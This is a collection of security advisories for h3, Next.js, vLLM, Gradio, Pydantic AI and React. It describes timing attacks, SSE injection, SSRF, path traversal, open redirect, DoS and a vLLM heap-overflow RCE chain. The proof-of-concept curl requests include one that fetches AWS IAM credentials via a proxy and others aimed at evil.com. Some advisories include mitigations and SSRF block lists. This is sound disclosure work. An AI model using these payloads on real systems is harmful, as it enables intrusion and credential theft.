h3 has an observable timing discrepancy in basic auth utils
Summary
A Timing Side-Channel vulnerability exists in the requireBasicAuth function due to the use of unsafe string comparison (!==). This allows an attacker to deduce the valid password character-by-character by measuring the server's response time, effectively bypassing password complexity protections.
Details
The vulnerability is located in the requireBasicAuth function. The code performs a standard string comparison between the user-provided password and the expected password:
~~~typescript
if (opts.password && password !== opts.password) {
throw autheFailed(event, opts?.realm);
}
~~~
In V8 (and most runtime environments), the !== operator is optimized to "fail fast." It stops execution and returns false as soon as it encounters the first mismatched byte.
If the first character is wrong, it returns immediately.
If the first character is correct but the second is wrong, it takes slightly longer.
By statistically analyzing these minute timing differences over many requests, an attacker can determine the correct password one character at a time.
PoC
This vulnerability is exploitable in real-world scenarios without direct access to the server machine.
To reproduce this, an attacker can send two packets (or bursts of packets) at the exact same time:
1. Packet A: Contains a password that is known to be incorrect starting at the first character (e.g., AAAA...).
2. Packet B: Contains a password where the first character is a guess (e.g., B...).
By measuring the time-to-first-byte (TTFB) or total response time of these concurrent requests, the attacker can filter out network jitter. If Packet B takes consistently longer to return than Packet A, the first character is confirmed as correct. This process is repeated for the second character, and so on. Tests confirm this timing difference is statistically consistent enough to recover credentials remotely.
Impact
This vulnerability allows remote attackers to recover passwords. While network jitter makes this difficult over the internet, it is highly effective in local networks or cloud environments where the attacker is co-located. It reduces the complexity of cracking a password from exponential (guessing the whole string) to linear (guessing one char at a time).
h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields
Summary
createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.
Details
The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:
``typescript
export function formatEventStreamComment(comment: string): string {
return : ${comment}\n\n;
}
export function formatEventStreamMessage(message: EventStreamMessage): string {
let result = "";
if (message.id) {
result += id: ${message.id}\n;
}
if (message.event) {
result += event: ${message.event}\n;
}
if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
result += retry: ${message.retry}\n;
}
result += data: ${message.data}\n\n;
return result;
}
`
The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.
None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:
1. Inject arbitrary SSE fields — break out of one field and add event:, data:, id:, or retry: directives
2. Inject entirely new SSE events — using \n\n to terminate the current event and start a new one
3. Manipulate reconnection behavior — inject retry: 1 to force aggressive reconnection (DoS)
4. Override Last-Event-ID — inject id: to manipulate which events are replayed on reconnection
Injection via the event field
`
Intended wire format: Actual wire format (with \n injection):
event: message event: message
data: attacker: hey event: admin ← INJECTED
data: ALL_USERS_HACKED ← INJECTED
data: attacker: hey
`
The browser's EventSource API parses these as two separate events: one message event and one admin event.
Injection via the data field
`
Intended: Actual (with \n\n injection):
event: message event: message
data: bob: hi data: bob: hi
← event boundary
event: system ← INJECTED event
data: Reset: evil.com ← INJECTED data
`
Before exploit:
<img width="700" height="61" alt="image" src="https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9" />
<img width="713" height="228" alt="image" src="https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e" />
PoC
Vulnerable server (sse-server.ts)
A realistic chat/notification server that broadcasts user input via SSE:
`typescript
import { H3, createEventStream, getQuery } from "h3";
import { serve } from "h3/node";
const app = new H3();
const clients: any[] = [];
app.get("/events", (event) => {
const stream = createEventStream(event);
clients.push(stream);
stream.onClosed(() => {
clients.splice(clients.indexOf(stream), 1);
stream.close();
});
return stream.send();
});
app.get("/send", async (event) => {
const query = getQuery(event);
const user = query.user as string;
const msg = query.msg as string;
const type = (query.type as string) || "message";
for (const client of clients) {
await client.push({ event: type, data: ${user}: ${msg} });
}
return { status: "sent" };
});
serve({ fetch: app.fetch });
`
Exploit
`bash
1. Inject fake "admin" event via event field
curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"
2. Inject separate phishing event via data field
curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"
3. Inject retry directive for reconnection DoS
curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message"
`
Raw wire format proving injection
`
event: message
event: admin
data: ALL_USERS_COMPROMISED
data: attacker: legit
`
The browser's EventSource fires this as an admin event with data ALL_USERS_COMPROMISED — entirely controlled by the attacker.
Proof:
<img width="856" height="275" alt="image" src="https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec" />
<img width="950" height="156" alt="image" src="https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab" />
Impact
An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.
Attack scenarios:
Cross-user content injection — inject fake messages in chat applications
Phishing — inject fake system notifications with malicious links
Event spoofing — trigger client-side handlers for privileged event types (e.g., admin, system)
Reconnection DoS — inject retry: 1` to force all clients to reconnect every 1ms
Last-Event-ID manipulation — override the event ID to cause event replay or skipping on reconnection
This is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.
Next.js: Unbounded postponed resume buffering can lead to DoS
Summary
A request containing the next-resume: 1 header (corresponding with a PPR resume request) would buffer request bodies without consistently enforcing maxPostponedStateSize in certain setups. The previous mitigation protected minimal-mode deployments, but equivalent non-minimal deployments remained vulnerable to the same unbounded postponed resume-body buffering behavior.
Impact
In applications using the App Router with Partial Prerendering capability enabled (via experimental.ppr or cacheComponents), an attacker could send oversized next-resume POST payloads that were buffered without consistent size enforcement in non-minimal deployments, causing excessive memory usage and potential denial of service.
Patches
Fixed by enforcing size limits across all postponed-body buffering paths and erroring when limits are exceeded.
Workarounds
If upgrade is not immediately possible:
Block requests containing the next-resume header, as this is never valid to be sent from an untrusted client.
Next.js: null origin can bypass Server Actions CSRF checks
Summary
origin: null was treated as a "missing" origin during Server Action CSRF validation. As a result, requests from opaque contexts (such as sandboxed iframes) could bypass origin verification instead of being validated as cross-origin requests.
Impact
An attacker could induce a victim browser to submit Server Actions from a sandboxed context, potentially executing state-changing actions with victim credentials (CSRF).
Patches
Fixed by treating 'null' as an explicit origin value and enforcing host/origin checks unless 'null' is explicitly allowlisted in experimental.serverActions.allowedOrigins.
Workarounds
If upgrade is not immediately possible:
Add CSRF tokens for sensitive Server Actions.
Prefer SameSite=Strict on sensitive auth cookies.
Do not allow 'null' in serverActions.allowedOrigins unless intentionally required and additionally protected.
vLLM has SSRF Protection Bypass
Summary
The SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the load_from_url_async method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.
Affected Component
File: vllm/connections.py
Function: load_from_url_async
Vulnerability Details
Root Cause
The SSRF fix uses urllib3.util.parse_url() to validate and extract the hostname from user-provided URLs. However, load_from_url_async uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing.
These two URL parsers handle backslash characters (\) differently:
| Parser | Input URL | Parsed Host | Parsed Path | Behavior |
|--------|-----------|-------------|-------------|----------|
| urllib3.parse_url() | https://httpbin.org\@evil.com/ | httpbin.org | /%5C@evil.com/ | URL-encodes \ as %5C, treats \@evil.com/ as part of the path |
| yarl (via aiohttp) | https://httpbin.org\@evil.com/ | evil.com | / | Treats \ as part of userinfo (user: httpbin.org\), the @ acts as the userinfo/host separator |
Attack Scenario
``python
Attacker provides this URL
malicious_url = "https://httpbin.org\\@evil.com/"
1. Validation layer (urllib3.parse_url)
parsed = urllib3.util.parse_url(malicious_url)
parsed.host == "httpbin.org" ✅ Passes validation
2. Actual request (aiohttp with yarl)
async with aiohttp.ClientSession() as session:
async with session.get(malicious_url) as response:
# Request actually goes to evil.com! ❌ Bypass!
`
Why This Happens
1. yarl: Interprets httpbin.org\ as the userinfo component, and @ as the userinfo/host separator, so the URL is parsed as user=httpbin.org\, host=evil.com, path=/
2. urllib3: URL-encodes the backslash as %5C, so \@evil.com/ becomes /%5C@evil.com/ which is treated as part of the path, leaving host=httpbin.org`
This inconsistency allows an attacker to:
Bypass the hostname allowlist check
Access arbitrary internal/external services
Perform full SSRF attacks
Fixes
https://github.com/vllm-project/vllm/pull/34743
Gradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing
Summary
A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses gr.load() to load an attacker-controlled Space, the malicious proxy_url from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.
Details
The vulnerability exists in Gradio's config processing flow when loading external Spaces:
1. Config Fetching (gradio/external.py:630): gr.load() calls Blocks.from_config() which fetches and processes the remote Space's configuration.
2. Proxy URL Trust (gradio/blocks.py:1231-1233): The proxy_url from the untrusted config is added directly to self.proxy_urls:
``python
if config.get("proxy_url"):
self.proxy_urls.add(config["proxy_url"])
`
3. Built-in Proxy Route (gradio/routes.py:1029-1031): Every Gradio app automatically exposes a /proxy={url_path} endpoint:
`python
@router.get("/proxy={url_path:path}", dependencies=[Depends(login_check)])
async def reverse_proxy(url_path: str):
`
4. Host-based Validation (gradio/routes.py:365-368): The validation only checks if the URL's host matches any trusted proxy_url host:
`python
is_safe_url = any(
url.host == httpx.URL(root).host for root in self.blocks.proxy_urls
)
`
An attacker can set proxy_url to http://169.254.169.254/ (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.
PoC
Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6
1. Attacker creates a malicious Gradio Space that returns this config:
`python
{
"mode": "blocks",
"components": [...],
"proxy_url": "http://169.254.169.254/" # AWS metadata endpoint
}
`
2. Victim loads the malicious Space:
`python
import gradio as gr
demo = gr.load("attacker/malicious-space")
demo.launch(server_name="0.0.0.0", server_port=7860)
`
3. Attacker exploits the proxy:
`bash
Fetch AWS credentials through victim's server
curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"
`
Impact
Who is impacted:
Any Gradio application that uses gr.load()` to load external/untrusted Spaces
HuggingFace Spaces that compose or embed other Spaces
Enterprise deployments where Gradio apps have access to internal networks
Attack scenarios:
Cloud credential theft: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials
Internal service access: Reach databases, admin panels, and APIs on private networks
Network reconnaissance: Map internal infrastructure through the victim
Data exfiltration: Access sensitive internal APIs and services
Gradio has an Open Redirect in its OAuth Flow
Summary
The _redirect_to_target() function in Gradio's OAuth flow accepts an unvalidated _target_url query parameter, allowing redirection to arbitrary external URLs. This affects the /logout and /login/callback endpoints on Gradio apps with OAuth enabled (i.e. apps running on Hugging Face Spaces with gr.LoginButton).
Details
``python
def _redirect_to_target(request, default_target="/"):
target = request.query_params.get("_target_url", default_target)
return RedirectResponse(target) # No validation
``
An attacker can craft a URL like https://my-space.hf.space/logout?_target_url=https://evil.com/phishing that redirects the user to an external site after logout. Because the URL originates from a trusted hf.space domain, users are more likely to trust the link.
Impact
Phishing — an attacker can use the trusted domain to redirect users to a malicious site. No direct data exposure or server-side impact.
## Fix
The _target_url parameter is now sanitized to only use the path, query, and fragment, stripping any scheme or host.
OWASP A01OWASP A02LLM02 · Insecure OutputLLM06 · Sensitive Info Disclosure
Get guardrail →Gradio is Vulnerable to Absolute Path Traversal on Windows with Python 3.13+
Summary
Gradio apps running on Window with Python 3.13+ are vulnerable to an absolute path traversal issue that enables unauthenticated attackers to read arbitrary files from the file system.
Details
Python 3.13+ changed the definition of os.path.isabs so that root-relative paths like /windows/win.ini on Windows are no longer considered absolute paths, resulting in a vulnerability in Gradio's logic for joining paths safely.
This can be exploited by unauthenticated attackers to read arbitrary files from the Gradio server, even when Gradio is set up with authentication.
PoC
``
% curl http://10.10.10.10:7860/static//windows/win.ini
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
``
Impact
Arbitrary file read in the context of the Windows user running Gradio.
Pydantic AI has Stored XSS via Path Traversal in Web UI CDN URL
Summary
A Path Traversal vulnerability in the Pydantic AI web UI allows an attacker to serve arbitrary JavaScript in the context of the application by crafting a malicious URL. If a victim clicks the link or visits it via an iframe, attacker-controlled code executes in their browser, enabling theft of chat history and other client-side data.
This vulnerability only affects applications that use:
Agent.to_web to serve a chat interface
clai web to serve a chat interface from the CLI
These are typically run locally (on localhost), but may also be deployed on a remote server.
Description
The web UI serves its frontend HTML by fetching it from a CDN. In affected versions, the CDN URL is constructed using a version query parameter from the request URL. This parameter is not validated, allowing path traversal sequences that cause the server to fetch and serve attacker-controlled HTML/JavaScript from an arbitrary source on the same CDN, instead of the legitimate chat UI package.
Who Is Affected
Projects are affected if your application uses Agent.to_web or clai web to serve the Pydantic AI chat interface.
Attack Scenario
1. An attacker crafts a URL pointing to the victim's Pydantic AI web UI instance (either localhost with the known port, or a remote server endpoint) with a malicious version query parameter containing path traversal sequences.
2. The attacker gets the victim to visit this URL — directly via a link, through a redirect, or by embedding it in an iframe.
3. When the victim's browser loads the page, the server fetches and serves attacker-controlled HTML/JavaScript instead of the legitimate chat UI.
4. The attacker's JavaScript executes in the victim's browser in the context of the Pydantic AI web application, with access to:
Chat history stored in localStorage (all user messages and AI responses)
Session cookies that are not set as HttpOnly, if authentication middleware is configured
Remediation
Upgrade to Patched Version
Upgrade to the patched version or later. The fix removes the user-controllable version parameter entirely. The CDN URL is now hardcoded at startup and cannot be influenced by request parameters.
A new html_source parameter is available on Agent.to_web and create_web_app for applications that need to customize the UI source (e.g., for enterprise environments, offline usage, or custom UI builds). This parameter is only settable in application code, not via query parameters.
Pydantic AI has Server-Side Request Forgery (SSRF) in URL Download Handling
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in Pydantic AI's URL download functionality. When applications accept message history from untrusted sources, attackers can include malicious URLs that cause the server to make HTTP requests to internal network resources, potentially accessing internal services or cloud credentials.
This vulnerability only affects applications that accept message history from external users, such as those using:
Agent.to_web or clai web to serve a chat interface
VercelAIAdapter for Vercel AI SDK integration
AGUIAdapter or Agent.to_ag_ui for AG-UI protocol integration
Custom APIs that accept message history from user input
Applications that only use hardcoded or developer-controlled URLs are not affected.
Description
The download_item() helper function downloads content from URLs without validating that the target is a public internet address. When user-supplied message history contains URLs, attackers can:
1. Access internal services: Request http://127.0.0.1, localhost, or private IP ranges (10.x.x.x, 172.16.x.x, 192.168.x.x)
2. Steal cloud credentials: Access cloud metadata endpoints (AWS IMDSv1 at 169.254.169.254, GCP, Azure, Alibaba Cloud)
3. Scan internal networks: Enumerate internal hosts and ports
Who Is Affected
You are affected if your application:
1. Uses Agent.to_web or clai web - The web interface accepts file attachments via the Vercel AI Data Stream Protocol, where users can provide arbitrary URLs through chat messages.
2. Uses VercelAIAdapter - Chat interfaces built with Vercel AI SDK allow users to submit messages containing URLs that are processed server-side.
3. Uses AGUIAdapter or Agent.to_ag_ui - The AG-UI protocol allows users to provide file references with URLs as part of agent interactions.
4. Exposes a custom API accepting message history - Any endpoint that accepts message history or ImageUrl, AudioUrl, VideoUrl, DocumentUrl objects from user input.
Attack Scenario
Via chat interface, an attacker submits a message with a file attachment pointing to an internal resource:
``json
{
"role": "user",
"parts": [
{"type": "file", "mediaType": "image/png", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
]
}
`
Affected Model Integrations
Multiple model integrations download URL content in certain conditions:
| Provider | Downloaded Types |
|----------|------------------|
| OpenAIChatModel | AudioUrl, DocumentUrl |
| AnthropicModel | DocumentUrl (text/plain) |
| GoogleModel (GLA) | All URL types (except YouTube and Files API URLs) |
| XaiModel | DocumentUrl |
| BedrockConverseModel | ImageUrl, DocumentUrl, VideoUrl (non-S3 URLs) |
| OpenRouterModel | AudioUrl |
Remediation
Upgrade to Patched Version
Upgrade to the patched version or later. The fix adds comprehensive SSRF protection:
Blocks private/internal IP addresses by default
Always blocks cloud metadata endpoints (even with allow-local)
Only allows http:// and https:// protocols
Resolves hostnames before requests to prevent DNS rebinding
Validates each redirect target
New force_download='allow-local' Option
If an application legitimately needs to access local/private network resources (e.g., in a fully trusted internal environment), it can explicitly opt in:
`python
from pydantic_ai import ImageUrl
Default behavior: private IPs are blocked
ImageUrl(url="http://internal-service/image.png") # Raises ValueError
Opt-in to allow local access (use with caution)
ImageUrl(url="http://internal-service/image.png", force_download='allow-local')
`
Important: Cloud metadata endpoints (169.254.169.254, fd00:ec2::254, 100.100.100.200) are always blocked, even with allow-local.
Workaround for Older Versions
If a project cannot upgrade immediately, use a history processor to filter out URLs targeting local/private addresses:
`python
import ipaddress
import socket
from urllib.parse import urlparse
from pydantic_ai import Agent, ModelMessage, ModelRequest
from pydantic_ai.messages import AudioUrl, DocumentUrl, ImageUrl, VideoUrl
def is_private_url(url: str) -> bool:
"""Check if a URL targets a private/internal IP address."""
try:
parsed = urlparse(url)
hostname = parsed.hostname
if not hostname:
return True # Invalid URL, block it
# Resolve hostname to IP
ip_str = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(ip_str)
# Block private, loopback, and link-local addresses
return ip.is_private or ip.is_loopback or ip.is_link_local
except (socket.gaierror, ValueError):
return True # DNS resolution failed, block it
def filter_private_urls(messages: list[ModelMessage]) -> list[ModelMessage]:
"""Remove URL parts that target private/internal addresses."""
url_types = (ImageUrl, AudioUrl, VideoUrl, DocumentUrl)
filtered = []
for msg in messages:
if isinstance(msg, ModelRequest):
safe_parts = [
part for part in msg.parts
if not (isinstance(part, url_types) and is_private_url(part.url))
]
if safe_parts:
filtered.append(ModelRequest(parts=safe_parts))
else:
filtered.append(msg)
return filtered
Apply the filter to your agent
agent = Agent('openai:gpt-5', history_processors=[filter_private_urls])
`
Technical Details of the Fix
The fix introduces a new _ssrf.py module with comprehensive protection:
1. Protocol validation: Only http:// and https:// allowed
2. DNS resolution before request: Prevents DNS rebinding attacks
3. Private IP blocking (by default):
127.0.0.0/8, ::1/128 (loopback)
10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (private)
169.254.0.0/16, fe80::/10 (link-local)
100.64.0.0/10 (CGNAT)
fc00::/7 (unique local)
2002::/16 (6to4, can embed private IPv4)
4. Cloud metadata always blocked: 169.254.169.254, fd00:ec2::254, 100.100.100.200`
5. Safe redirect handling: Each redirect validated before following (max 10)
vLLM has RCE In Video Processing
Summary
A chain of vulnerabilities in vLLM allow Remote Code Execution (RCE):
1. Info Leak - PIL error messages expose memory addresses, bypassing ASLR
2. Heap Overflow - JPEG2000 decoder in OpenCV/FFmpeg has a heap overflow that lets us hijack code execution
Result: Send a malicious video URL to vLLM Completions or Invocations for a video model -> Execute arbitrary commands on the server
Completely default vLLM instance directly from pip, or docker, does not have authentication so "None" privileges are required, but even with non-default api-key enabled configuration this exploit is feasible through invocations route that allows payload to execute pre-auth.
Example heap target is provided, other heap targets can be exploited as well to achieve rce. Leak allows for simple ASLR bypass. Leak + heap overflow achieves RCE on versions prior to 0.14.1.
Deployments not serving a video model are not affected.
---
1. Vulnerability Overview
1.1 The Bug: JPEG2000 cdef Box Heap Overflow
The JPEG2000 decoder used by OpenCV (cv2) honors a cdef box that can remap color channels. When Y (luma) is mapped into the U (chroma) plane buffer, the decoder writes a large Y plane into the smaller U buffer, causing a heap overflow.
Root Cause
cdef allows channel remapping (e.g., Y→U, U→Y).
Y plane size: W×H; U plane size: (W/2)×(H/2).
Overflow size = W×H - (W/2×H/2) = 0.75 × W × H bytes.
Example (150×64)
Y plane: 150×64 = 9,600 bytes
U plane: 75×32 = 2,400 bytes
Overflow: 7,200 bytes past the U buffer
1.2 Malicious cdef Box
``
Offset Size Field Value
0 4 Box Length 0x00000016 (22 bytes)
4 4 Box Type 'cdef'
8 2 N (channels) 0x0003
10 2 Channel 0 Cn 0x0000 (Y channel)
12 2 Channel 0 Typ 0x0000 (color)
14 2 Channel 0 Asoc 0x0002 (→ maps Y into U plane)
16 2 Channel 1 Cn 0x0001 (U channel)
18 2 Channel 1 Typ 0x0000 (color)
20 2 Channel 1 Asoc 0x0001 (→ maps U into Y plane)
22 2 Channel 2 Cn 0x0002 (V channel)
24 2 Channel 2 Typ 0x0000 (color)
26 2 Channel 2 Asoc 0x0003 (→ maps V plane)
`
Key control: Asoc=2 for channel 0 forces Y data into the U buffer, triggering the overflow.
---
Vulnerable Code Chain
1) Entry: vLLM accepts a remote video_url and downloads raw bytes
vLLM’s OpenAI-compatible API supports a video_url content part:
`python
class VideoURL(TypedDict, total=False):
url: Required[str]
class ChatCompletionContentPartVideoParam(TypedDict, total=False):
video_url: Required[VideoURL]
type: Required[Literal["video_url"]]
`
Source: src/vllm/entrypoints/chat_utils.py.
When the URL is HTTP(S), vLLM downloads it as raw bytes and passes the bytes into the modality loader:
`python
if url_spec.scheme.startswith("http"):
data = connection.get_bytes(url, timeout=fetch_timeout, allow_redirects=...)
return media_io.load_bytes(data)
`
Source: src/vllm/multimodal/utils.py (MediaConnector.load_from_url).
---
2) Decode: vLLM uses OpenCV (cv2) VideoCapture on an in-memory byte stream
The default video backend is OpenCV, and it constructs cv2.VideoCapture over a BytesIO buffer containing the downloaded bytes:
`python
backend = cls().get_cv2_video_api()
cap = cv2.VideoCapture(BytesIO(data), backend, [])
if not cap.isOpened():
raise ValueError("Could not open video stream")
`
Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.load_bytes).
The backend is selected from OpenCV’s stream-buffered backends registry:
`python
import cv2.videoio_registry as vr
for backend in vr.getStreamBufferedBackends():
if vr.hasBackend(backend) and ...:
api_pref = backend
break
return api_pref
`
Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.get_cv2_video_api).
Implication: vLLM is delegating container parsing + codec decode to OpenCV’s Video I/O stack (which, in typical builds, is backed by FFmpeg for MOV/MP4 and codecs like JPEG2000).
---
3) The actual overflow: Y (full-res) written into U (quarter-res)
When the decoder honors the remap and writes Y into the U-plane buffer, it writes too many bytes:
Y plane bytes: \(W \times H\)
U plane bytes: \((W/2) \times (H/2)\)
Overflow bytes: \(W \times H - (W/2 \times H/2) = 0.75 \times W \times H\)
Concrete example tried (150×64):
Y: \(150 \times 64 = 9600\) bytes
U: \(75 \times 32 = 2400\) bytes
Overflow: \(9600 - 2400 = 7200\) bytes past the end of the U allocation
This is a heap buffer overflow into whatever allocations follow the U-plane buffer in the decoder’s heap layout (structures, metadata, other buffers, etc.). The exact victims depend on build + runtime allocator layout.
---
The Exploit Chain
Vuln 1: PIL BytesIO Address Leak (ASLR Bypass)
When you send an invalid image to vLLM's multimodal endpoint, PIL throws an error like:
`
cannot identify image file <_io.BytesIO object at 0x7a95e299e750>
^^^^^^^^^^^^^^^^
LEAKED ADDRESS!
`
vLLM returns this error to the client, leaking a heap address. This address is ~10.33 GB before libc in memory. With this leak, we reduce ASLR from 4 billion guesses to ~8 guesses.
Vuln 2: JPEG2000 cdef Heap Overflow (RCE)
vLLM uses OpenCV (cv2) to decode videos. OpenCV bundles FFmpeg 5.1.x which has a heap overflow in the JPEG2000 decoder. The OpenCV is used for video decoding so if we build a video from JPEG2000 frames it will reach the vuln:
`
vLLM API Request to Completions/Invocation
↓
OpenCV cv2.VideoCapture()
↓
FFmpeg 5.1 (bundled in OpenCV)
↓
JPEG2000 decoder (libopenjp2)
↓
HEAP OVERFLOW via malicious "cdef" box
↓
Overwrite function pointer → RCE!
`
How the overflow works:
JPEG2000 has a cdef box that remaps color channels
We remap Y (luma) into the U (chroma) buffer
Y plane = 9,600 bytes, U plane = 2,400 bytes
On small geometry like 150x64 pixel image we get 7,200 bytes overflow past the U buffer. We can grow that exponentially by making bigger images.
This overwrites an AVBuffer structure containing a free() function pointer. This could be any function pointer or other targets.
We set free = system() and opaque = "command string"
When the buffer is freed → system("our command") executes
---
vLLM Attack Surface
Affected Endpoints
Both multimodal endpoints are vulnerable:
`
POST /v1/chat/completions (with video_url in content)
POST /v1/invocations (with video_url in content)
`
Request Flow
`
1. Attacker sends request with video_url pointing to malicious .mov file
2. vLLM fetches the video from the URL
3. vLLM passes video bytes to cv2.VideoCapture()
4. OpenCV's bundled FFmpeg decodes JPEG2000 frames
5. Malicious cdef box triggers heap overflow
6. AVBuffer.free pointer overwritten with system()
7. When buffer is released → system("attacker command") executes
``
---
Versions Affected
| Component | Version | Notes |
|-----------|---------|-------|
| vLLM | >= 0.8.3, < 0.14.1 | Default config vulnerable when serving a video model |
| OpenCV (cv2) | 4.x with FFmpeg bundle | Bundled FFmpeg is vulnerable |
| FFmpeg | 5.1.x (bundled) | JPEG2000 cdef overflow |
| libopenjp2 | 2.x | Honors malicious cdef box |
---
Fixes
https://github.com/vllm-project/vllm/pull/31987
https://github.com/vllm-project/vllm/pull/32319
https://github.com/vllm-project/vllm/pull/32668
llama-index-core vulnerable to Uncontrolled Resource Consumption
The SimpleDirectoryReader component in llama_index.core version 0.12.23 suffers from uncontrolled memory consumption due to a resource management flaw. The vulnerability arises because the user-specified file limit (num_files_limit) is applied after all files in a directory are loaded into memory. This can lead to memory exhaustion and degraded performance, particularly in environments with limited resources. The issue is resolved in version 0.12.41.
React Server Components have multiple Denial of Service Vulnerabilities
Impact
It was found that the fixes to address DoS in React Server Components were incomplete and we found multiple denial of service vulnerabilities still exist in React Server Components.
We recommend updating immediately.
The vulnerability exists in versions 19.0.0, 19.0.1, 19.0.2, 19.0.3, 19.1.0, 19.1.1, 19.1.2, 19.1.3, 19.1.4, 19.2.0, 19.2.1, 19.2.2, 19.2.3 of:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
The vulnerabilities are triggered by sending specially crafted HTTP requests to Server Function endpoints, and could lead to server crashes, out-of-memory exceptions or excessive CPU usage; depending on the vulnerable code path being exercised, the application configuration and application code.
Patches
Fixes were back ported to versions 19.0.4, 19.1.5, and 19.2.4.
If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
vLLM vulnerable to Server-Side Request Forgery (SSRF) through MediaConnector
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The load_from_url and load_from_url_async methods obtain and process media from URLs provided by users, using different Python parsing libraries when restricting the target host. These two parsing libraries have different interpretations of backslashes, which allows the host name restriction to be bypassed. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.
This vulnerability is particularly critical in containerized environments like llm-d, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause Denial of Service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal llm-d management endpoint, leading to system instability by falsely reporting metrics like the KV cache state.
Details
The core of the vulnerability lies in the MediaConnector.load_from_url method and its asynchronous counterpart. These methods accept a URL string to fetch media content (images, audio, video).
> def load_from_url(
> self,
> url: str,
> media_io: MediaIO[_M],
> ,
> fetch_timeout: int | None = None,
> ) -> _M: # type: ignore[type-var]
> url_spec = urlparse(url)
>
> if url_spec.scheme.startswith("http"):
> self._assert_url_in_allowed_media_domains(url_spec)
>
> connection = self.connection
> data = connection.get_bytes(
> url,
> timeout=fetch_timeout,
> allow_redirects=envs.VLLM_MEDIA_URL_ALLOW_REDIRECTS,
> )
>
> return media_io.load_bytes(data)
The URL validation uses the urlparse function from Python's urllib module, while the request is made using the request function from Python's requests module. The requests module's underlying URL parsing is implemented using the parse_url function from Python's urllib3. These two parsing functions follow different URL specifications; one is implemented according to the RFC 3986 specification, and the other is implemented according to the WHATWG Living Standard. There is a difference in how the two functions handle backslashes (\) in URLs, which allows the hostname restriction to be bypassed.
Fix
https://github.com/vllm-project/vllm/pull/32746
Next.js HTTP request deserialization can lead to DoS when using insecure React Server Components
A vulnerability affects certain React Server Components packages for versions 19.0.x, 19.1.x, and 19.2.x and frameworks that use the affected packages, including Next.js 13.x, 14.x, 15.x, and 16.x using the App Router. The issue is tracked upstream as CVE-2026-23864.
A specially crafted HTTP request can be sent to any App Router Server Function endpoint that, when deserialized, may trigger excessive CPU usage, out-of-memory exceptions, or server crashes. This can result in denial of service in unpatched environments.
Next.js has Unbounded Memory Consumption via PPR Resume Endpoint
A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the Next-Resume: 1 header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:
1. Unbounded request body buffering: The server buffers the entire POST request body into memory using Buffer.concat() without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.
2. Unbounded decompression (zipbomb): The resume data cache is decompressed using inflateSync() without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.
Both attack vectors result in a fatal V8 out-of-memory error (FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.
To be affected, an application must run with experimental.ppr: true or cacheComponents: true configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.
Strongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.
vLLM affected by RCE via auto_map dynamic module loading during model initialization
Summary
